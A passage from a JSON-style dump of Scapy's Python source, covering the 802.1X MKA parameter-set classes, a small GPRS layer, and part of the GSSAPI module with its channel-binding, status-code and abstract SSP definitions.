SourceMACField(\"system_identifier\"),\n        ShortField(\"port_identifier\", 0)\n    ]\n\n    def extract_padding(self, s):\n        return \"\", s\n\n\nclass MKAParamSet(Packet):\n    \"\"\"\n    Class from which every parameter set class inherits (except\n    MKABasicParamSet, which has no \"Parameter set type\" field, and must\n    come first in the list of parameter sets).\n    \"\"\"\n\n    MACSEC_DEFAULT_ICV_LEN = 16\n    EAPOL_MKA_DEFAULT_KEY_WRAP_LEN = 24\n\n    @classmethod\n    def dispatch_hook(cls, _pkt=None, *args, **kargs):\n        \"\"\"\n        Returns the right parameter set class.\n        \"\"\"\n\n        cls = conf.raw_layer\n        if _pkt is not None:\n            ptype = orb(_pkt[0])\n            return globals().get(_param_set_cls.get(ptype), conf.raw_layer)\n\n        return cls\n\n\nclass MKABasicParamSet(Packet):\n    \"\"\"\n    Basic Parameter Set (802.1X-2010, section 11.11).\n    \"\"\"\n\n    #########################################################################\n    #\n    # IEEE 802.1X-2010 standard\n    # Section 11.11\n    #########################################################################\n    #\n\n    name = \"Basic Parameter Set\"\n    fields_desc = [\n        ByteField(\"mka_version_id\", 0),\n        ByteField(\"key_server_priority\", 0),\n        BitField(\"key_server\", 0, 1),\n        BitField(\"macsec_desired\", 0, 1),\n        BitField(\"macsec_capability\", 0, 2),\n        BitField(\"param_set_body_len\", 0, 12),\n        PacketField(\"SCI\", MACsecSCI(), MACsecSCI),\n        XStrFixedLenField(\"actor_member_id\", \"\", length=12),\n        XIntField(\"actor_message_number\", 0),\n        XIntField(\"algorithm_agility\", 0),\n        PadField(\n            XStrLenField(\n                \"cak_name\",\n                \"\",\n                length_from=lambda pkt: (pkt.param_set_body_len - 28)\n            ),\n            4,\n            padwith=b\"\\x00\"\n        )\n    ]\n\n    def extract_padding(self, s):\n        return \"\", s\n\n\nclass MKAPeerListTuple(Packet):\n    \"\"\"\n    Live / Potential Peer List parameter sets tuples (802.1X-2010, section 11.11).  # noqa: E501\n    \"\"\"\n\n    name = \"Peer List Tuple\"\n    fields_desc = [\n        XStrFixedLenField(\"member_id\", \"\", length=12),\n        XStrFixedLenField(\"message_number\", \"\", length=4),\n    ]\n\n\nclass MKALivePeerListParamSet(MKAParamSet):\n    \"\"\"\n    Live Peer List parameter sets (802.1X-2010, section 11.11).\n    \"\"\"\n\n    #########################################################################\n    #\n    # IEEE 802.1X-2010 standard\n    # Section 11.11\n    #########################################################################\n    #\n\n    name = \"Live Peer List Parameter Set\"\n    fields_desc = [\n        PadField(\n            ByteEnumField(\n                \"param_set_type\",\n                1,\n                _parameter_set_types\n            ),\n            2,\n            padwith=b\"\\x00\"\n        ),\n        ShortField(\"param_set_body_len\", 0),\n        PacketListField(\"member_id_message_num\", [], MKAPeerListTuple)\n    ]\n\n\nclass MKAPotentialPeerListParamSet(MKAParamSet):\n    \"\"\"\n    Potential Peer List parameter sets (802.1X-2010, section 11.11).\n    \"\"\"\n\n    #########################################################################\n    #\n    # IEEE 802.1X-2010 standard\n    # Section 11.11\n    #########################################################################\n    #\n\n    name = \"Potential Peer List Parameter Set\"\n    fields_desc = [\n        PadField(\n            ByteEnumField(\n                \"param_set_type\",\n                2,\n                _parameter_set_types\n            ),\n            2,\n            padwith=b\"\\x00\"\n        ),\n        ShortField(\"param_set_body_len\", 0),\n        PacketListField(\"member_id_message_num\", [], MKAPeerListTuple)\n    ]\n\n\nclass MKASAKUseParamSet(MKAParamSet):\n    \"\"\"\n    SAK Use Parameter Set (802.1X-2010, section 11.11).\n    \"\"\"\n\n    #########################################################################\n    #\n    # IEEE 802.1X-2010 standard\n    # Section 11.11\n    #########################################################################\n    #\n\n    name = \"SAK Use Parameter Set\"\n    fields_desc = [\n        ByteEnumField(\"param_set_type\", 3, _parameter_set_types),\n        BitField(\"latest_key_an\", 0, 2),\n        BitField(\"latest_key_tx\", 0, 1),\n        BitField(\"latest_key_rx\", 0, 1),\n        BitField(\"old_key_an\", 0, 2),\n        BitField(\"old_key_tx\", 0, 1),\n        BitField(\"old_key_rx\", 0, 1),\n        BitField(\"plain_tx\", 0, 1),\n        BitField(\"plain_rx\", 0, 1),\n        BitField(\"X\", 0, 1),\n        BitField(\"delay_protect\", 0, 1),\n        BitField(\"param_set_body_len\", 0, 12),\n        XStrFixedLenField(\"latest_key_key_server_member_id\", \"\", length=12),\n        XStrFixedLenField(\"latest_key_key_number\", \"\", length=4),\n        XStrFixedLenField(\"latest_key_lowest_acceptable_pn\", \"\", length=4),\n        XStrFixedLenField(\"old_key_key_server_member_id\", \"\", length=12),\n        XStrFixedLenField(\"old_key_key_number\", \"\", length=4),\n        XStrFixedLenField(\"old_key_lowest_acceptable_pn\", \"\", length=4)\n    ]\n\n\nclass MKADistributedSAKParamSet(MKAParamSet):\n    \"\"\"\n    Distributed SAK parameter set (802.1X-2010, section 11.11).\n    \"\"\"\n\n    #########################################################################\n    #\n    # IEEE 802.1X-2010 standard\n    # Section 11.11\n    #########################################################################\n    #\n\n    name = \"Distributed SAK parameter set\"\n    fields_desc = [\n        ByteEnumField(\"param_set_type\", 4, _parameter_set_types),\n        BitField(\"distributed_an\", 0, 2),\n        BitField(\"confidentiality_offset\", 0, 2),\n        BitField(\"unused\", 0, 4),\n        ShortField(\"param_set_body_len\", 0),\n        XStrFixedLenField(\"key_number\", \"\", length=4),\n        ConditionalField(\n            XStrFixedLenField(\"macsec_cipher_suite\", \"\", length=8),\n            lambda pkt: pkt.param_set_body_len > 28\n        ),\n        XStrFixedLenField(\n            \"sak_aes_key_wrap\",\n            \"\",\n            length=MKAParamSet.EAPOL_MKA_DEFAULT_KEY_WRAP_LEN\n        )\n    ]\n\n\nclass MKADistributedCAKParamSet(MKAParamSet):\n    \"\"\"\n    Distributed CAK Parameter Set (802.1X-2010, section 11.11).\n    \"\"\"\n\n    #########################################################################\n    #\n    # IEEE 802.1X-2010 standard\n    # Section 11.11\n    #########################################################################\n    #\n\n    name = \"Distributed CAK parameter set\"\n    fields_desc = [\n        PadField(\n            ByteEnumField(\n                \"param_set_type\",\n                5,\n                _parameter_set_types\n            ),\n            2,\n            padwith=b\"\\x00\"\n        ),\n        ShortField(\"param_set_body_len\", 0),\n        XStrFixedLenField(\n            \"cak_aes_key_wrap\",\n            \"\",\n            length=MKAParamSet.EAPOL_MKA_DEFAULT_KEY_WRAP_LEN\n        ),\n        XStrField(\"cak_key_name\", \"\")\n    ]\n\n\nclass MKAICVSet(MKAParamSet):\n    \"\"\"\n    ICV (802.1X-2010, section 11.11).\n    \"\"\"\n\n    #########################################################################\n    #\n    # IEEE 802.1X-2010 standard\n    # Section 11.11\n    #########################################################################\n    #\n\n    name = \"ICV\"\n    fields_desc = [\n        PadField(\n            ByteEnumField(\n                \"param_set_type\",\n                255,\n                _parameter_set_types\n            ),\n            2,\n            padwith=b\"\\x00\"\n        ),\n        ShortField(\"param_set_body_len\", 0),\n        XStrFixedLenField(\"icv\", \"\", length=MKAParamSet.MACSEC_DEFAULT_ICV_LEN)\n    ]\n\n\nclass MKAParamSetPacketListField(PacketListField):\n    \"\"\"\n    PacketListField that handles the parameter sets.\n    \"\"\"\n\n    PARAM_SET_LEN_MASK = 0b0000111111111111\n\n    def m2i(self, pkt, m):\n        return MKAParamSet(m)\n\n    def getfield(self, pkt, s):\n        lst = []\n        remain = s\n\n        while remain:\n            len_bytes = struct.unpack(\"!H\", remain[2:4])[0]\n            param_set_len = self.__class__.PARAM_SET_LEN_MASK & len_bytes\n            current = remain[:4 + param_set_len]\n            remain = remain[4 + param_set_len:]\n            current_packet = self.m2i(pkt, current)\n            lst.append(current_packet)\n\n        return remain, lst\n\n\nclass MKAPDU(Packet):\n    \"\"\"\n    MACsec Key Agreement Protocol Data Unit.\n    \"\"\"\n\n    #########################################################################\n    #\n    # IEEE 802.1X-2010 standard\n    # Section 11.11\n    #########################################################################\n    #\n\n    name = \"MKPDU\"\n    fields_desc = [\n        PacketField(\"basic_param_set\", \"\", MKABasicParamSet),\n        MKAParamSetPacketListField(\"parameter_sets\", [], MKAParamSet),\n    ]\n\n    def extract_padding(self, s):\n        return \"\", s\n\n\n# Bind EAPOL types\nbind_layers(EAPOL, EAP, type=0)\nbind_layers(EAPOL, EAPOL_KEY, type=3)\nbind_layers(EAPOL, MKAPDU, type=5)\n\nbind_bottom_up(Ether, EAPOL, type=0x888e)\n# the reserved IEEE Std 802.1X PAE address\nbind_top_down(Ether, EAPOL, dst='01:80:c2:00:00:03', type=0x888e)\nbind_layers(CookedLinux, EAPOL, proto=0x888e)\nbind_layers(SNAP, EAPOL, code=0x888e)\nbind_layers(GRE, EAPOL, proto=0x888e)\n"
  },
  {
    "path": "scapy/layers/gprs.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) Philippe Biondi <phil@secdev.org>\n\n\"\"\"\nGPRS (General Packet Radio Service) for mobile data communication.\n\"\"\"\n\nfrom scapy.fields import StrStopField\nfrom scapy.packet import Packet, bind_layers\nfrom scapy.layers.inet import IP\n\n\nclass GPRS(Packet):\n    name = \"GPRSdummy\"\n    fields_desc = [\n        StrStopField(\"dummy\", \"\", b\"\\x65\\x00\\x00\", 1)\n    ]\n\n\nbind_layers(GPRS, IP,)\n"
  },
  {
    "path": "scapy/layers/gssapi.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) Gabriel Potter <gabriel[]potter[]fr>\n\n\"\"\"\nGeneric Security Services (GSS) API\n\nImplements parts of:\n\n    - GSSAPI: RFC4121 / RFC2743\n    - GSSAPI C bindings: RFC2744\n    - Channel Bindings for TLS: RFC5929\n\nThis is implemented in the following SSPs:\n\n    - :class:`~scapy.layers.ntlm.NTLMSSP`\n    - :class:`~scapy.layers.kerberos.KerberosSSP`\n    - :class:`~scapy.layers.spnego.SPNEGOSSP`\n    - :class:`~scapy.layers.msrpce.msnrpc.NetlogonSSP`\n\n.. note::\n    You will find more complete documentation for this layer over at\n    `GSSAPI <https://scapy.readthedocs.io/en/latest/layers/gssapi.html>`_\n\"\"\"\n\nimport abc\n\nfrom dataclasses import dataclass\nfrom enum import Enum, IntEnum, IntFlag\n\nfrom scapy.asn1.asn1 import (\n    ASN1_SEQUENCE,\n    ASN1_Class_UNIVERSAL,\n    ASN1_Codecs,\n)\nfrom scapy.asn1.ber import BERcodec_SEQUENCE, BER_id_dec\nfrom scapy.asn1.mib import conf  # loads conf.mib\nfrom scapy.asn1fields import (\n    ASN1F_OID,\n    ASN1F_PACKET,\n    ASN1F_SEQUENCE,\n)\nfrom scapy.asn1packet import ASN1_Packet\nfrom scapy.error import log_runtime\nfrom scapy.fields import (\n    FieldLenField,\n    LEIntEnumField,\n    PacketField,\n    StrLenField,\n)\nfrom scapy.packet import Packet\n\n# Type hints\nfrom typing import (\n    Any,\n    List,\n    Optional,\n    Tuple,\n)\n\n# https://datatracker.ietf.org/doc/html/rfc1508#page-48\n\n\nclass ASN1_Class_GSSAPI(ASN1_Class_UNIVERSAL):\n    name = \"GSSAPI\"\n    APPLICATION = 0x60\n\n\nclass ASN1_GSSAPI_APPLICATION(ASN1_SEQUENCE):\n    tag = ASN1_Class_GSSAPI.APPLICATION\n\n\nclass BERcodec_GSSAPI_APPLICATION(BERcodec_SEQUENCE):\n    tag = ASN1_Class_GSSAPI.APPLICATION\n\n\nclass ASN1F_GSSAPI_APPLICATION(ASN1F_SEQUENCE):\n    ASN1_tag = ASN1_Class_GSSAPI.APPLICATION\n\n\n# GSS API Blob\n# https://datatracker.ietf.org/doc/html/rfc4121\n\n# Filled by providers\n_GSSAPI_OIDS = {}\n_GSSAPI_SIGNATURE_OIDS = {}\n\n# section 4.1\n\n\nclass GSSAPI_BLOB(ASN1_Packet):\n    ASN1_codec = ASN1_Codecs.BER\n    ASN1_root = ASN1F_GSSAPI_APPLICATION(\n        ASN1F_OID(\"MechType\", \"1.3.6.1.5.5.2\"),\n        ASN1F_PACKET(\n            \"innerToken\",\n            None,\n            None,\n            next_cls_cb=lambda pkt: _GSSAPI_OIDS.get(pkt.MechType.val, conf.raw_layer),\n        ),\n    )\n\n    @classmethod\n    def dispatch_hook(cls, _pkt=None, *args, **kargs):\n        if _pkt and len(_pkt) >= 1:\n            if _pkt[0] & 0xA0 >= 0xA0:\n                from scapy.layers.spnego import SPNEGO_negToken\n\n                # XXX: sometimes the token is raw, we should look from\n                # the session what to use here. For now: hardcode SPNEGO\n                # (THIS IS A VERY STRONG ASSUMPTION)\n                return SPNEGO_negToken\n            elif _pkt[:7] == b\"NTLMSSP\":\n                from scapy.layers.ntlm import NTLM_Header\n\n                # XXX: if no mechTypes are provided during SPNEGO exchange,\n                # Windows falls back to a plain NTLM_Header.\n                return NTLM_Header.dispatch_hook(_pkt=_pkt, *args, **kargs)\n            elif BER_id_dec(_pkt)[0] & 0x7F > 0x60:\n                from scapy.layers.kerberos import Kerberos\n\n                # XXX: Heuristic to detect raw Kerberos packets, when Windows\n                # fallsback or when the parent data hasn't got any mechtype specified.\n                return Kerberos\n        return cls\n\n\n# Same but to store the signatures (e.g. DCE/RPC)\n\n\nclass GSSAPI_BLOB_SIGNATURE(ASN1_Packet):\n    ASN1_codec = ASN1_Codecs.BER\n    ASN1_root = ASN1F_GSSAPI_APPLICATION(\n        ASN1F_OID(\"MechType\", \"1.3.6.1.5.5.2\"),\n        ASN1F_PACKET(\n            \"innerToken\",\n            None,\n            None,\n            next_cls_cb=lambda pkt: _GSSAPI_SIGNATURE_OIDS.get(\n                pkt.MechType.val, conf.raw_layer\n            ),  # noqa: E501\n        ),\n    )\n\n    @classmethod\n    def dispatch_hook(cls, _pkt=None, *args, **kargs):\n        if _pkt and len(_pkt) >= 2:\n            # Sometimes the token is raw. Detect that with educated\n            # heuristics.\n            if _pkt[:2] in [b\"\\x04\\x04\", b\"\\x05\\x04\"]:\n                from scapy.layers.kerberos import KRB_InnerToken\n\n                return KRB_InnerToken\n            elif len(_pkt) >= 4 and _pkt[:4] == b\"\\x01\\x00\\x00\\x00\":\n                from scapy.layers.ntlm import NTLMSSP_MESSAGE_SIGNATURE\n\n                return NTLMSSP_MESSAGE_SIGNATURE\n        return cls\n\n\nclass _GSSAPI_Field(PacketField):\n    \"\"\"\n    PacketField that contains a GSSAPI_BLOB_SIGNATURE, but one that can\n    have a payload when not encrypted.\n    \"\"\"\n\n    __slots__ = [\"pay_cls\"]\n\n    def __init__(self, name, pay_cls):\n        self.pay_cls = pay_cls\n        super().__init__(\n            name,\n            None,\n            GSSAPI_BLOB_SIGNATURE,\n        )\n\n    def getfield(self, pkt, s):\n        remain, val = super().getfield(pkt, s)\n        if remain and val:\n            val.payload = self.pay_cls(remain)\n            return b\"\", val\n        return remain, val\n\n\n# RFC2744 Annex A, Null values\n\nGSS_C_QOP_DEFAULT = 0\nGSS_C_NO_CHANNEL_BINDINGS = b\"\\x00\"\n\n\n# RFC2744 sect 3.9 - Status Values\n\nGSS_S_COMPLETE = 0\n\n# These errors are encoded into the 32-bit GSS status code as follows:\n#   MSB                                                        LSB\n#   |------------------------------------------------------------|\n#   |  Calling Error | Routine Error  |    Supplementary Info    |\n#   |------------------------------------------------------------|\n# Bit 31            24 23            16 15                       0\n\nGSS_C_CALLING_ERROR_OFFSET = 24\nGSS_C_ROUTINE_ERROR_OFFSET = 16\nGSS_C_SUPPLEMENTARY_OFFSET = 0\n\n# Calling errors:\n\nGSS_S_CALL_INACCESSIBLE_READ = 1 << GSS_C_CALLING_ERROR_OFFSET\nGSS_S_CALL_INACCESSIBLE_WRITE = 2 << GSS_C_CALLING_ERROR_OFFSET\nGSS_S_CALL_BAD_STRUCTURE = 3 << GSS_C_CALLING_ERROR_OFFSET\n\n# Routine errors:\n\nGSS_S_BAD_MECH = 1 << GSS_C_ROUTINE_ERROR_OFFSET\nGSS_S_BAD_NAME = 2 << GSS_C_ROUTINE_ERROR_OFFSET\nGSS_S_BAD_NAMETYPE = 3 << GSS_C_ROUTINE_ERROR_OFFSET\nGSS_S_BAD_BINDINGS = 4 << GSS_C_ROUTINE_ERROR_OFFSET\nGSS_S_BAD_STATUS = 5 << GSS_C_ROUTINE_ERROR_OFFSET\nGSS_S_BAD_SIG = 6 << GSS_C_ROUTINE_ERROR_OFFSET\nGSS_S_BAD_MIC = GSS_S_BAD_SIG\nGSS_S_NO_CRED = 7 << GSS_C_ROUTINE_ERROR_OFFSET\nGSS_S_NO_CONTEXT = 8 << GSS_C_ROUTINE_ERROR_OFFSET\nGSS_S_DEFECTIVE_TOKEN = 9 << GSS_C_ROUTINE_ERROR_OFFSET\nGSS_S_DEFECTIVE_CREDENTIAL = 10 << GSS_C_ROUTINE_ERROR_OFFSET\nGSS_S_CREDENTIALS_EXPIRED = 11 << GSS_C_ROUTINE_ERROR_OFFSET\nGSS_S_CONTEXT_EXPIRED = 12 << GSS_C_ROUTINE_ERROR_OFFSET\nGSS_S_FAILURE = 13 << GSS_C_ROUTINE_ERROR_OFFSET\nGSS_S_BAD_QOP = 14 << GSS_C_ROUTINE_ERROR_OFFSET\nGSS_S_UNAUTHORIZED = 15 << GSS_C_ROUTINE_ERROR_OFFSET\nGSS_S_UNAVAILABLE = 16 << GSS_C_ROUTINE_ERROR_OFFSET\nGSS_S_DUPLICATE_ELEMENT = 17 << GSS_C_ROUTINE_ERROR_OFFSET\nGSS_S_NAME_NOT_MN = 18 << GSS_C_ROUTINE_ERROR_OFFSET\n\n# Supplementary info bits:\n\nGSS_S_CONTINUE_NEEDED = 1 << (GSS_C_SUPPLEMENTARY_OFFSET + 0)\nGSS_S_DUPLICATE_TOKEN = 1 << (GSS_C_SUPPLEMENTARY_OFFSET + 1)\nGSS_S_OLD_TOKEN = 1 << (GSS_C_SUPPLEMENTARY_OFFSET + 2)\nGSS_S_UNSEQ_TOKEN = 1 << (GSS_C_SUPPLEMENTARY_OFFSET + 3)\nGSS_S_GAP_TOKEN = 1 << (GSS_C_SUPPLEMENTARY_OFFSET + 4)\n\n# Address families (RFC2744 sect 3.11)\n\n_GSS_ADDRTYPE = {\n    0: \"GSS_C_AF_UNSPEC\",\n    1: \"GSS_C_AF_LOCAL\",\n    2: \"GSS_C_AF_INET\",\n    3: \"GSS_C_AF_IMPLINK\",\n    4: \"GSS_C_AF_PUP\",\n    5: \"GSS_C_AF_CHAOS\",\n    6: \"GSS_C_AF_NS\",\n    7: \"GSS_C_AF_NBS\",\n    8: \"GSS_C_AF_ECMA\",\n    9: \"GSS_C_AF_DATAKIT\",\n    10: \"GSS_C_AF_CCITT\",\n    11: \"GSS_C_AF_SNA\",\n    12: \"GSS_C_AF_DECnet\",\n    13: \"GSS_C_AF_DLI\",\n    14: \"GSS_C_AF_LAT\",\n    15: \"GSS_C_AF_HYLINK\",\n    16: \"GSS_C_AF_APPLETALK\",\n    17: \"GSS_C_AF_BSC\",\n    18: \"GSS_C_AF_DSS\",\n    19: \"GSS_C_AF_OSI\",\n    21: \"GSS_C_AF_X25\",\n    255: \"GSS_C_AF_NULLADDR\",\n}\n\n\n# GSS Structures\n\n\nclass ChannelBindingType(Enum):\n    \"\"\"\n    Channel Binding Application Data types, per:\n    RFC 5929 / RFC 9266\n    \"\"\"\n\n    TLS_UNIQUE = \"unique\"\n    TLS_SERVER_END_POINT = \"tls-server-end-point\"\n    TLS_UNIQUE_FOR_TELNET = \"tls-unique-for-telnet\"\n    TLS_EXPORTER = \"tls-exporter\"  # RFC9266\n\n\nclass GssBufferDesc(Packet):\n    name = \"gss_buffer_desc\"\n    fields_desc = [\n        FieldLenField(\"length\", None, length_of=\"value\", fmt=\"<I\"),\n        StrLenField(\"value\", \"\", length_from=lambda pkt: pkt.length),\n    ]\n\n    def default_payload_class(self, payload):\n        return conf.padding_layer\n\n\nclass GssChannelBindings(Packet):\n    name = \"gss_channel_bindings_struct\"\n    fields_desc = [\n        LEIntEnumField(\"initiator_addrtype\", 0, _GSS_ADDRTYPE),\n        PacketField(\"initiator_address\", GssBufferDesc(), GssBufferDesc),\n        LEIntEnumField(\"acceptor_addrtype\", 0, _GSS_ADDRTYPE),\n        PacketField(\"acceptor_address\", GssBufferDesc(), GssBufferDesc),\n        PacketField(\"application_data\", None, GssBufferDesc),\n    ]\n\n    def digestMD5(self):\n        \"\"\"\n        Calculate a MD5 hash of the channel binding\n        \"\"\"\n        from scapy.layers.tls.crypto.hash import Hash_MD5\n\n        return Hash_MD5().digest(bytes(self))\n\n    @classmethod\n    def fromssl(\n        cls,\n        token_type: ChannelBindingType,\n        sslsock=None,\n        certfile=None,\n    ) -> \"GssChannelBindings\":\n        \"\"\"\n        Build a GssChannelBindings struct from a socket\n\n        :param token_type: the type from ChannelBindingType, per RFC5929\n        :param sslsock: take the certificate from the the socket.socket object\n        :param certfile: take the certificate from a file\n        \"\"\"\n        from scapy.layers.tls.cert import Cert\n        from cryptography.hazmat.primitives import hashes\n\n        if token_type == ChannelBindingType.TLS_SERVER_END_POINT:\n            # RFC5929 sect 4\n            try:\n                # Parse certificate\n                if certfile is not None:\n                    cert = Cert(certfile)\n                else:\n                    cert = Cert(sslsock.getpeercert(binary_form=True))\n            except Exception:\n                # We failed to parse the certificate.\n                log_runtime.warning(\"Failed to parse the SSL Certificate. CBT not used\")\n                return GSS_C_NO_CHANNEL_BINDINGS\n            try:\n                h = cert.getSignatureHash()\n            except Exception:\n                # We failed to get the signature algorithm.\n                log_runtime.warning(\n                    \"Failed to get the Certificate signature algorithm. CBT not used\"\n                )\n                return GSS_C_NO_CHANNEL_BINDINGS\n            # RFC5929 sect 4.1\n            if h == hashes.MD5 or h == hashes.SHA1:\n                h = hashes.SHA256\n            # Get bytes of first certificate if there are multiple\n            c = cert.x509Cert.copy()\n            c.remove_payload()\n            cdata = bytes(c)\n            # Calc hash of certificate\n            digest = hashes.Hash(h)\n            digest.update(cdata)\n            cbdata = digest.finalize()\n        elif token_type == ChannelBindingType.TLS_UNIQUE:\n            # RFC5929 sect 3\n            cbdata = sslsock.get_channel_binding(cb_type=\"tls-unique\")\n        else:\n            raise NotImplementedError\n        # RFC5056 sect 2.1\n        # \"channel bindings MUST start with the channel binding unique prefix followed\n        # by a colon (ASCII 0x3A).\"\n        return GssChannelBindings(\n            application_data=GssBufferDesc(\n                value=token_type.value.encode() + b\":\" + cbdata\n            )\n        )\n\n\n# --- The base GSSAPI SSP base class\n\n\nclass GSS_C_FLAGS(IntFlag):\n    \"\"\"\n    Authenticator Flags per RFC2744 req_flags\n    \"\"\"\n\n    GSS_C_DELEG_FLAG = 0x01\n    GSS_C_MUTUAL_FLAG = 0x02\n    GSS_C_REPLAY_FLAG = 0x04\n    GSS_C_SEQUENCE_FLAG = 0x08\n    GSS_C_CONF_FLAG = 0x10  # confidentiality\n    GSS_C_INTEG_FLAG = 0x20  # integrity\n    # RFC4757\n    GSS_C_DCE_STYLE = 0x1000\n    GSS_C_IDENTIFY_FLAG = 0x2000\n    GSS_C_EXTENDED_ERROR_FLAG = 0x4000\n\n\nclass GSS_S_FLAGS(IntFlag):\n    \"\"\"\n    Equivalent to Microsoft's ASC_REQ* Flags in AcceptSecurityContext\n    \"\"\"\n\n    GSS_S_ALLOW_MISSING_BINDINGS = 0x10000000\n\n\nclass GSS_QOP_REQ_FLAGS(IntFlag):\n    \"\"\"\n    Used for qop_flags\n    \"\"\"\n\n    # Windows' API requires requesters to add an extra buffer of type\n    # 'SECBUFFER_PADDING' to receive the padding. The GSS_WrapEx API\n    # does not provide such a mechanism and always uses it. However\n    # some implementations like LDAP actually require NO padding, which\n    # therefore can't be achieved with GSS_WrapEx.\n    GSS_S_NO_SECBUFFER_PADDING = 0x10000000\n\n\nclass SSP:\n    \"\"\"\n    The general SSP class\n    \"\"\"\n\n    auth_type = 0x00\n\n    def __init__(self, **kwargs):\n        if kwargs:\n            raise ValueError(\"Unknown SSP parameters: \" + \",\".join(list(kwargs)))\n\n    def __repr__(self):\n        return \"<%s>\" % self.__class__.__name__\n\n    class CONTEXT:\n        \"\"\"\n        A Security context i.e. the 'state' of the secure negotiation\n        \"\"\"\n\n        __slots__ = [\"state\", \"_flags\", \"passive\"]\n\n        def __init__(self, req_flags: Optional[\"GSS_C_FLAGS | GSS_S_FLAGS\"] = None):\n            if req_flags is None:\n                # Default\n                req_flags = (\n                    GSS_C_FLAGS.GSS_C_EXTENDED_ERROR_FLAG\n                    | GSS_C_FLAGS.GSS_C_MUTUAL_FLAG\n                )\n            self.flags = req_flags\n            self.passive = False\n\n        def clifailure(self):\n            # This allows to reset the client context without discarding it.\n            pass\n\n        # 'flags' is the most important attribute. Use a setter to sanitize it.\n\n        @property\n        def flags(self):\n            return self._flags\n\n        @flags.setter\n        def flags(self, x):\n            self._flags = GSS_C_FLAGS(int(x))\n\n        def __repr__(self):\n            return \"[Default SSP]\"\n\n    class STATE(IntEnum):\n        \"\"\"\n        An Enum that contains the states of an SSP\n        \"\"\"\n\n    @abc.abstractmethod\n    def GSS_Init_sec_context(\n        self,\n        Context: CONTEXT,\n        input_token=None,\n        target_name: Optional[str] = None,\n        req_flags: Optional[GSS_C_FLAGS] = None,\n        chan_bindings: GssChannelBindings = GSS_C_NO_CHANNEL_BINDINGS,\n    ):\n        \"\"\"\n        GSS_Init_sec_context: client-side call for the SSP\n        \"\"\"\n        raise NotImplementedError\n\n    @abc.abstractmethod\n    def GSS_Accept_sec_context(\n        self,\n        Context: CONTEXT,\n        input_token=None,\n        req_flags: Optional[GSS_S_FLAGS] = GSS_S_FLAGS.GSS_S_ALLOW_MISSING_BINDINGS,\n        chan_bindings: GssChannelBindings = GSS_C_NO_CHANNEL_BINDINGS,\n    ):\n        \"\"\"\n        GSS_Accept_sec_context: server-side call for the SSP\n        \"\"\"\n        raise NotImplementedError\n\n    @abc.abstractmethod\n    def GSS_Inquire_names_for_mech(self) -> List[str]:\n        \"\"\"\n        Get the available OIDs for this mech, in order of preference.\n        \"\"\"\n        raise NotImplementedError\n\n    # Passive\n\n    @abc.abstractmethod\n    def GSS_Passive(\n        self,\n        Context: CONTEXT,\n        input_token=None,\n    ):\n        \"\"\"\n        GSS_Passive: client/server call for the SSP in passive mode\n        \"\"\"\n        raise NotImplementedError\n\n    def GSS_Passive_set_Direction(self, Context: CONTEXT, IsAcceptor=False):\n        \"\"\"\n        GSS_Passive_set_Direction: used to swap the direction in passive mode\n        \"\"\"\n        pass\n\n    # MS additions (*Ex functions)\n\n    @dataclass\n    class WRAP_MSG:\n        conf_req_flag: bool\n        sign: bool\n        data: bytes\n\n    @abc.abstractmethod\n    def GSS_WrapEx(\n        self,\n        Context: CONTEXT,\n        msgs: List[WRAP_MSG],\n        qop_req: int = GSS_C_QOP_DEFAULT,\n    ) -> Tuple[List[WRAP_MSG], Any]:\n        \"\"\"\n        GSS_WrapEx\n\n        :param Context: the SSP context\n        :param qop_req: int (0 specifies default QOP)\n        :param msgs: list of WRAP_MSG\n\n        :returns: (data, signature)\n        \"\"\"\n        raise NotImplementedError\n\n    @abc.abstractmethod\n    def GSS_UnwrapEx(\n        self, Context: CONTEXT, msgs: List[WRAP_MSG], signature\n    ) -> List[WRAP_MSG]:\n        \"\"\"\n        :param Context: the SSP context\n        :param msgs: list of WRAP_MSG\n        :param signature: the signature\n\n        :raises ValueError: if MIC failure.\n        :returns: data\n        \"\"\"\n        raise NotImplementedError\n\n    @dataclass\n    class MIC_MSG:\n        sign: bool\n        data: bytes\n\n    @abc.abstractmethod\n    def GSS_GetMICEx(\n        self,\n        Context: CONTEXT,\n        msgs: List[MIC_MSG],\n        qop_req: int = GSS_C_QOP_DEFAULT,\n    ) -> Any:\n        \"\"\"\n        GSS_GetMICEx\n\n        :param Context: the SSP context\n        :param qop_req: int (0 specifies default QOP)\n        :param msgs: list of VERIF_MSG\n\n        :returns: signature\n        \"\"\"\n        raise NotImplementedError\n\n    @abc.abstractmethod\n    def GSS_VerifyMICEx(\n        self,\n        Context: CONTEXT,\n        msgs: List[MIC_MSG],\n        signature,\n    ) -> None:\n        \"\"\"\n        :param Context: the SSP context\n        :param msgs: list of VERIF_MSG\n        :param signature: the signature\n\n        :raises ValueError: if MIC failure.\n        \"\"\"\n        raise NotImplementedError\n\n    @abc.abstractmethod\n    def MaximumSignatureLength(self, Context: CONTEXT):\n        \"\"\"\n        Returns the Maximum Signature length.\n\n        This will be used in auth_len in DceRpc5, and is necessary for\n        PFC_SUPPORT_HEADER_SIGN to work properly.\n        \"\"\"\n        raise NotImplementedError\n\n    # RFC 2743\n\n    # sect 2.3.1\n\n    def GSS_GetMIC(\n        self,\n        Context: CONTEXT,\n        message: bytes,\n        qop_req: int = GSS_C_QOP_DEFAULT,\n    ):\n        \"\"\"\n        See GSS_GetMICEx\n        \"\"\"\n        return self.GSS_GetMICEx(\n            Context,\n            [\n                self.MIC_MSG(\n                    sign=True,\n                    data=message,\n                )\n            ],\n            qop_req=qop_req,\n        )\n\n    # sect 2.3.2\n\n    def GSS_VerifyMIC(\n        self,\n        Context: CONTEXT,\n        message: bytes,\n        signature,\n    ) -> None:\n        \"\"\"\n        See GSS_VerifyMICEx\n        \"\"\"\n        self.GSS_VerifyMICEx(\n            Context,\n            [\n                self.MIC_MSG(\n                    sign=True,\n                    data=message,\n                )\n            ],\n            signature,\n        )\n\n    # sect 2.3.3\n\n    def GSS_Wrap(\n        self,\n        Context: CONTEXT,\n        input_message: bytes,\n        conf_req_flag: bool,\n        qop_req: int = GSS_C_QOP_DEFAULT,\n    ):\n        \"\"\"\n        See GSS_WrapEx\n        \"\"\"\n        _msgs, signature = self.GSS_WrapEx(\n            Context,\n            [\n                self.WRAP_MSG(\n                    conf_req_flag=conf_req_flag,\n                    sign=True,\n                    data=input_message,\n                )\n            ],\n            